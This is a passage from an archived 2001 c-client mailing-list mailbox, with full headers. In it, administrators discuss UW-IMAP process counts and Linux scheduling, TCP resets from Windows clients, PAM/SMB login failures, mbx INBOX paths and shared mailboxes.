11:19:27 -0700 Received: from TB900 (5879-176-227.029.popsite.net [216.126.176.227]) (authenticated (0 bits)) by ns1.sevenkings.net (8.11.2/8.11.2/SuSE Linux 8.11.1-0.5) with ESMTP id f4GIJPB08049 for ; Wed, 16 May 2001 13:19:26 -0500 Message-Id: <21h5gtk6rfj3tfjtsv6enrcqi5j1uv0vrs@4ax.com> Date: Wed, 16 May 2001 14:19:23 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: John Kelly To: c-client@u.washington.edu Subject: Re: imapd process count In-Reply-To: References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 16 May 2001 10:28:41 -0700 (PDT), Mark Crispin wrote: >> What, if any, are the design alternatives for reducing the number of >> processes required to serve a large population of IMAP users? > >Don't put all your eggs in one basket. Instead of having a single expensive >system, have many cheap systems. Just because the user sees it as "one >system" doesn't mean that it's one CPU. Fair enough. However, I meant software design instead of system environment design. From pinedev@shivax2.cac.washington.edu Wed May 16 12:59:37 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 16 May 2001 12:59:37 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4GJxaD21267 for ; Wed, 16 May 2001 12:59:36 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Wed May 16 12:59:35 2001 -0700 Received: from list1.u.washington.edu (root@list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4GJxXu08710; Wed, 16 May 2001 12:59:33 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4GJvhH30790; Wed, 16 May 2001 12:57:43 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4GJv6081378 for ; Wed, 16 May 2001 12:57:06 -0700 Received: from ns1.sevenkings.net (ns1.sevenkings.net [216.126.141.50]) by mxu2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4GJv5K25505 for ; Wed, 16 May 2001 12:57:05 -0700 Received: from TB900 (5879-176-227.029.popsite.net [216.126.176.227]) (authenticated (0 bits)) by ns1.sevenkings.net (8.11.2/8.11.2/SuSE Linux 8.11.1-0.5) with ESMTP id f4GJv4B08396 for ; Wed, 16 May 2001 14:57:04 -0500 Message-Id: <72m5gtkcbrfpk2ns9sc9na9ph6tlmhi581@4ax.com> Date: Wed, 16 May 2001 15:57:02 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: John Kelly To: c-client@u.washington.edu Subject: Re: imapd process count In-Reply-To: References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 16 May 2001 13:18:41 -0500 (CDT), "Kevin W. Mullet" wrote: >I believe the 2.4 kernel should practically support however many >your hardware can sustain. They eliminated the former 2.2 restrction which stopped you at about 4000, but that still does not mean the scheduler can cope with higher numbers: http://www.cs.helsinki.fi/linux/linux-kernel/2001-13/0294.html From pinedev@shivax2.cac.washington.edu Thu May 17 07:30:06 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 17 May 2001 07:30:05 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4HEU4D24241 for ; Thu, 17 May 2001 07:30:05 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Thu May 17 07:30:04 2001 -0700 Received: from list1.u.washington.edu (root@list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4HEU1C21101; Thu, 17 May 2001 07:30:01 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4HEQYH23322; Thu, 17 May 2001 07:26:34 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4HEP2056242 for ; Thu, 17 May 2001 07:25:02 -0700 Received: from wtmi.net (IDENT:root@7of9.wtmi.net [216.62.99.172]) by mxu2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4HEP1K32746 for ; Thu, 17 May 2001 07:25:01 -0700 Received: from 7of9 (IDENT:kwm@7of9 [216.62.99.172]) by wtmi.net (8.10.1/8.10.1) with ESMTP id f4HEOmZ22302 for ; Thu, 17 May 2001 09:24:49 -0500 Message-Id: Date: Thu, 17 May 2001 09:24:48 -0500 (CDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Kevin W. Mullet" To: c-client@u.washington.edu Subject: re: imapd process count MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: kwm@7of9 X-Pmrc: 1 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 16 May 2001, Mark Crispin wrote: [...] > On Wed, 16 May 2001 13:11:56 -0400, John Kelly wrote: > > I read elsewhere that Linux scheduler performance starts degrading > > badly above 1,000 processes or so. There are some unofficial patches > > to fix this, but who knows if they will ever appear in the official > > kernel. > If this is true, this is a serious bug in Linux. 1000 processes is not a > particularly large number for a large system. I can't imagine this not > getting fixed. [...] As I recall, linux 2.2 kernels only support up to 1024 processes. Hard wall. I believe the 2.4 kernel should practically support however many your hardware can sustain. I agree with Mark, though. IMHO, whenever you have the opportunity to balance your load across a larger number of smaller boxes rather than a smaller number of larger boxes or (ugh..) one box, it's A Good Thing. -KwM- -- Kevin W. Mullet kwm@utdallas.edu System Support Manager, Computer Science Department University of Texas at Dallas From pinedev@shivax2.cac.washington.edu Thu May 17 09:05:09 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 17 May 2001 09:04:34 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4HG3kD19301 for ; Thu, 17 May 2001 09:03:56 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Thu May 17 07:48:00 2001 -0700 Received: from list2.u.washington.edu (root@list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4HElwu02776; Thu, 17 May 2001 07:47:58 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4HEjop31146; Thu, 17 May 2001 07:45:50 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4HEid032640 for ; Thu, 17 May 2001 07:44:39 -0700 Received: from oxmail.ox.ac.uk (oxmail4.ox.ac.uk [163.1.2.33]) by mxu4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4HEics27687 for ; Thu, 17 May 2001 07:44:38 -0700 Received: from sable.ox.ac.uk ([163.1.2.4]) by oxmail.ox.ac.uk with esmtp (Exim 3.12 #1) id 150Ovl-0006Xq-00; Thu, 17 May 2001 15:39:09 +0100 Received: from mbeattie by sable.ox.ac.uk with local (Exim 3.13 #1) id 150Ovl-0002um-00; Thu, 17 May 2001 15:39:09 +0100 Message-Id: <20010517153909.D15771@sable.ox.ac.uk> Date: Thu, 17 May 2001 15:39:09 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Malcolm Beattie To: John Kelly Cc: c-client@u.washington.edu Subject: Re: imapd process count In-Reply-To: <72m5gtkcbrfpk2ns9sc9na9ph6tlmhi581@4ax.com>; from jak@sevenkings.net on Wed, May 16, 2001 at 03:57:02PM -0400 References: <72m5gtkcbrfpk2ns9sc9na9ph6tlmhi581@4ax.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN John Kelly writes: > On Wed, 16 May 2001 13:18:41 -0500 (CDT), "Kevin W. Mullet" > wrote: > > >I believe the 2.4 kernel should practically support however many > >your hardware can sustain. > > They eliminated the former 2.2 restrction which stopped you at about > 4000, but that still does not mean the scheduler can cope with higher > numbers: > > http://www.cs.helsinki.fi/linux/linux-kernel/2001-13/0294.html There's an important point you both seem to have missed: it's not the high number of processes that causes a problem; it's a high number of *runnable* processes. So, for example, we currently have 236 imapd processes on one of our IMAP server nodes but the load average (roughly the number of runnable processes at any instant) is 1.59. IMAP serving is I/O bound so almost all of the imapd processes at any time will be TASK_{UN,}INTERRUPTIBLE and not TASK_RUNNING and hence not affect the scheduler at all. --Malcolm -- Malcolm Beattie Unix Systems Programmer Oxford University Computing Services From pinedev@shivax2.cac.washington.edu Thu May 17 11:38:55 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 17 May 2001 11:38:55 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4HIcrD11790 for ; Thu, 17 May 2001 11:38:54 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Thu May 17 11:38:52 2001 -0700 Received: from list2.u.washington.edu (root@list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4HIcoC29739; Thu, 17 May 2001 11:38:50 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4HIaYp10514; Thu, 17 May 2001 11:36:34 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4HIYU0120220 for ; Thu, 17 May 2001 11:34:30 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (stuart@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4HIYTF17322 for ; Thu, 17 May 2001 11:34:30 -0700 Message-Id: Date: Thu, 17 May 2001 11:30:09 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Malcolm Beattie Cc: John Kelly , c-client@u.washington.edu Subject: Re: imapd process count In-Reply-To: <20010517153909.D15771@sable.ox.ac.uk> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 17 May 2001 15:39:09 +0100, Malcolm Beattie wrote: > There's an important point you both seem to have missed: it's not the > high number of processes that causes a problem; it's a high number of > *runnable* processes. Oh, so you're saying that Linux gets unhappy when the load average reaches 1024? I guess it has a right to be cranky at that! :-) [Please don't flame me; I know that "load average" and "number of runnable processes" is not the same thing. But as a very rough first-order approximation, you can pretend that they are.] > IMAP serving > is I/O bound so almost all of the imapd processes at any time will be > TASK_{UN,}INTERRUPTIBLE and not TASK_RUNNING and hence not affect the > scheduler at all. That's our experience as well. We run out of disk bandwidth long before we run out of CPU. From pinedev@shivax2.cac.washington.edu Mon May 21 04:07:27 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 21 May 2001 04:07:16 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4LB6HD11685 for ; Mon, 21 May 2001 04:06:38 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Mon May 21 02:31:47 2001 -0700 Received: from list4.u.washington.edu (root@list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4L9Vlu23155; Mon, 21 May 2001 02:31:47 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4L9SpE20662; Mon, 21 May 2001 02:28:51 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4L9DB028554 for ; Mon, 21 May 2001 02:13:11 -0700 Received: from mailhub2.qub.ac.uk (jeremiah.qub.ac.uk [143.117.14.29]) by mxu4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4L9DAs14916 for ; Mon, 21 May 2001 02:13:10 -0700 Received: from hosea.qub.ac.uk by mailhub2.qub.ac.uk with SMTP-QUB (XT-PP) with ESMTP; Mon, 21 May 2001 09:12:49 +0000 Received: from cmcd1.cc.qub.ac.uk (cmcd1.cc.qub.ac.uk [143.117.17.85]) by hosea.qub.ac.uk (8.9.3+Sun/8.8.8) with ESMTP id KAA20140; Mon, 21 May 2001 10:12:33 +0100 (BST) Message-Id: Date: Mon, 21 May 2001 10:15:58 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Clive McDowell To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: Client connection resets In-Reply-To: References: MIME-Version: 1.0 Content-Type: Text/Plain; charset="us-ascii" X-Sender: C.McDowell@Queens-Belfast.AC.UK X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN [coninued from imap list] Mark, one of our network people has looked at what is happening on an affected client machine with an analyser and it appears that the following occurs - 1. client and server communicating OK 2. client issues a tcp packet with FIN and ACK flags set (no FIN sent by server) 3. server issues a tcp packet with ACK flag set 4. client issues a tcp packet with RESET flag set As I said before this only appears to affect some W2000 and NT PCs and is independent of email client software. As far as I'm aware, no mac or unix clients are affected. Regards, Clive McDowell Information Services The Queen's University of Belfast On Fri, 18 May 2001 10:26:25 -0700 (PDT) Mark Crispin wrote: > I don't know the answer to your question, but it's something that has come > up from time to time, so please be sure to let the list know of anything > that you learn. > > Also, the discussion should probably be moved to the c-client list. > > -- Mark -- > > http://staff.washington.edu/mrc > Science does not emerge from voting, party politics, or public debate. > From pinedev@shivax2.cac.washington.edu Mon May 21 07:12:43 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 21 May 2001 07:12:43 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4LECgD02855 for ; Mon, 21 May 2001 07:12:42 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Mon May 21 07:12:41 2001 -0700 Received: from list4.u.washington.edu (root@list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4LECfu28513; Mon, 21 May 2001 07:12:41 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4LE9LE33238; Mon, 21 May 2001 07:09:21 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4LE7B066670 for ; Mon, 21 May 2001 07:07:11 -0700 Received: from juniper.cant.ac.uk (juniper.cant.ac.uk [194.66.208.102]) by mxu2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4LE79K06755 for ; Mon, 21 May 2001 07:07:10 -0700 Received: by juniper.cant.ac.uk (Postfix, from userid 501) id 9FF65E3AA; Mon, 21 May 2001 15:07:11 +0100 (BST) Received: from oak.cant.ac.uk (unknown [172.16.3.4]) by juniper.cant.ac.uk (Postfix) with ESMTP id 72DCA8D86 for ; Mon, 21 May 2001 15:07:09 +0100 (BST) Received: from bay ([5.0.9.76] helo=canterbury.ac.uk ident=rolf) by oak.cant.ac.uk with esmtp (Exim 3.20 #1) id 151qKr-00032I-00 for c-client@u.washington.edu; Mon, 21 May 2001 15:07:01 +0100 Message-Id: <3B092104.AA19CBB2@canterbury.ac.uk> Date: Mon, 21 May 2001 15:07:00 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Rolf Habing To: "c-client@u.washington.edu" Subject: Problems authenticating with PAM MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Sender: rolf@cant.ac.uk X-Accept-Language: en X-AntiVirus: scanned for viruses by AMaViS 0.2.1 (http://amavis.org/) X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, In preparation for a portal site, I'm looking into the possibility of authenticating email accounts against our NT domain. I have found pam_smb, and installed it. I tested it by configuring a telnet server to authenticate against our NT domain, and that worked without problems. However, when I try to use pam_smb authentication with imap, I'm having problems. I'm running imap-2001.BETA.SNAP-0105151510 on a RH7.0 server. I build imap with make nlp The pam.d entry for imap reads simply auth sufficient /lib/security/pam_smb_auth.so debug nolocal (cut down to a bare minimum, for testing) When I log in from an imap client (I've tried Netscape 4.7 and Squirrelmail) I get the message 'Login failed'. Checking /var/log/secure shows: May 21 14:35:31 orion imapd[22991]: pam_smb: Correct NT username/password pair But /var/log/messages says: May 21 14:35:28 orion imapd[22991]: Login failed user=tt30 auth=tt30 host=[5.0.9.77] This indicates that imapd fails the login before pam_smb decides that the login is OK. (Check the timing.) I cannot see on what basis imapd fails the login, it is compiled to work with pam (make nlp) and shouldn't check with the local passwd/shadow files. Or does it? I've spend quite a few days on this problem now, and can't find a way out. Solving this problem would mean using only one login on the campus system, and would open the way for further portal development. Any help in this would be enormously appreciated. Thanks, Rolf Habing Canterbury Christ Church University College -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon May 21 13:13:18 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 21 May 2001 13:13:18 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4LKDHD19513 for ; Mon, 21 May 2001 13:13:17 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Mon May 21 13:13:16 2001 -0700 Received: from list4.u.washington.edu (root@list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4LKDGC29277; Mon, 21 May 2001 13:13:16 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4LKB6E28252; Mon, 21 May 2001 13:11:06 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4LK7L056210 for ; Mon, 21 May 2001 13:07:22 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (willard@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4LK7LX15774 for ; Mon, 21 May 2001 13:07:21 -0700 Message-Id: Date: Mon, 21 May 2001 12:56:24 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Clive McDowell Cc: c-client@u.washington.edu Subject: Re: Client connection resets In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 21 May 2001 10:15:58 +0100, Clive McDowell wrote: > 1. client and server communicating OK > 2. client issues a tcp packet with FIN and ACK flags set (no FIN sent > by server) > 3. server issues a tcp packet with ACK flag set > 4. client issues a tcp packet with RESET flag set Hmm. I doubt that this is anything that c-client can cause; it's a TCP interoperability problem. It's been too long since I last looked at the TCP specification for me to figure out which is at fault, the client or server. The client is clearly sending the RESET in retaliation for an ACK on a session that the client thinks no longer exists. But it doesn't look like the session termination had a chance to happen either. From pinedev@shivax2.cac.washington.edu Mon May 21 16:12:18 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 21 May 2001 16:12:17 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4LNCGD23331 for ; Mon, 21 May 2001 16:12:16 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Mon May 21 16:12:15 2001 -0700 Received: from list1.u.washington.edu (root@list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4LNCFC04921; Mon, 21 May 2001 16:12:15 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4LN9VH32872; Mon, 21 May 2001 16:09:32 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4LMx0097400 for ; Mon, 21 May 2001 15:59:01 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4LMx0K15739 for ; Mon, 21 May 2001 15:59:00 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (lamarth@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4LMx0u18577 for ; Mon, 21 May 2001 15:59:00 -0700 Message-Id: Date: Mon, 21 May 2001 15:57:58 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "S.A.W. Gooren" Cc: c-client Interest List Subject: re: INBOX not accepted as mbx inbox ? In-Reply-To: <009901c0e245$ab02eb90$0200a8c0@TRANSPONBG> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN [Answer to question mis-posted to IMAP mailing list.] On Tue, 22 May 2001 00:30:41 +0200, S.A.W. Gooren wrote: > I run exim to deliver mail, exim delivers in mbx format (mbx_format = > true), the file created is in mbx-format. Note: if exim does not use the c-client library to deliver in mbx format, there is no guarantee that it works now or will continue to work in the future. > The file INBOX, created by exim in the users homedir cannot be opened by > UW-IMAP, the error i get is "SELECT failed: Can't open INBOX (file > /home/mail/wim/INBOX): not in valid mailbox format" How is "/home/mail/win/INBOX" derived? Is /home/mail/win the user's UNIX home directory? If not, did you modify routine mymailboxdir() so that /home/mail/win is returned? If not, did you modify routine sysinbox() so that /home/mail/win/INBOX is returned? I suspect that you modified sysinbox() and did not modify mymailboxdir(). Routine sysinbox() is only for mail files in traditional UNIX mailbox format. It is never for an mbx-format INBOX. The mbx driver looks for INBOX in the "mailbox directory" from mymailboxdir(), which defaults to the home directory from myhomedir() which is normally the user's UNIX home directory. It does not look in the sysinbox() location. From pinedev@shivax2.cac.washington.edu Mon May 21 23:22:33 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 21 May 2001 23:22:29 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4M6M2D19355 for ; Mon, 21 May 2001 23:22:17 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Mon May 21 23:21:49 2001 -0700 Received: from list2.u.washington.edu (root@list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4M6LnC16600; Mon, 21 May 2001 23:21:49 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4M6Iwp35752; Mon, 21 May 2001 23:18:58 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4M6GP069066 for ; Mon, 21 May 2001 23:16:25 -0700 Received: from newsv10.batelco.com.bh (newsv10.batelco.com.bh [193.188.97.193]) by mxu1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4M6GMF22999 for ; Mon, 21 May 2001 23:16:23 -0700 Received: from hishamalsaad ([193.188.112.139]) by newsv10.batelco.com.bh (Post.Office MTA v3.5.3 release 223 ID# 1006-68466U30000L30000S0V35) with SMTP id bh for ; Tue, 22 May 2001 09:14:03 +0300 Message-Id: <00bf01c0e288$0019bbd0$8b70bcc1@hishamalsaad> Date: Tue, 22 May 2001 09:25:30 +0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Hisham Al Saad" To: Subject: Sharing Mailbox MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2462.0000 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, I have an eFax application installed on an NT server which requires an IMAP server to logon and store its messages to a specified account. This application makes multiple sessions to the IMAP account. It runs fine with MS-Exchange mail server, but when I tried to use UW-IMAP (IMAP4rev1 2000.284) installed on a Solaris 2.6 instead of the MS-Exchange, it started to give problems when multiple sessions are established. It works fine only with one session . I start searching through the documentations and the archives trying to find a clear way about setting up a shared mailbox to solve the problem. All I found was a scattered information which confused me more. I have struggled to use mbxcreat utility but I'm stuck. Is there a clear and easy step by step documentation on how to enable UW-IMAP account sharing on a Solaris 2.6 ? Regards, Hisham -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue May 22 00:43:48 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 22 May 2001 00:43:47 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4M7hkD07042 for ; Tue, 22 May 2001 00:43:46 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Tue May 22 00:43:46 2001 -0700 Received: from list4.u.washington.edu (root@list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4M7hku32237; Tue, 22 May 2001 00:43:46 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4M7ajE29652; Tue, 22 May 2001 00:36:45 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4M7Xe015424 for ; Tue, 22 May 2001 00:33:40 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (mishk@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4M7XdX08259 for ; Tue, 22 May 2001 00:33:39 -0700 Message-Id: Date: Tue, 22 May 2001 00:31:17 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu 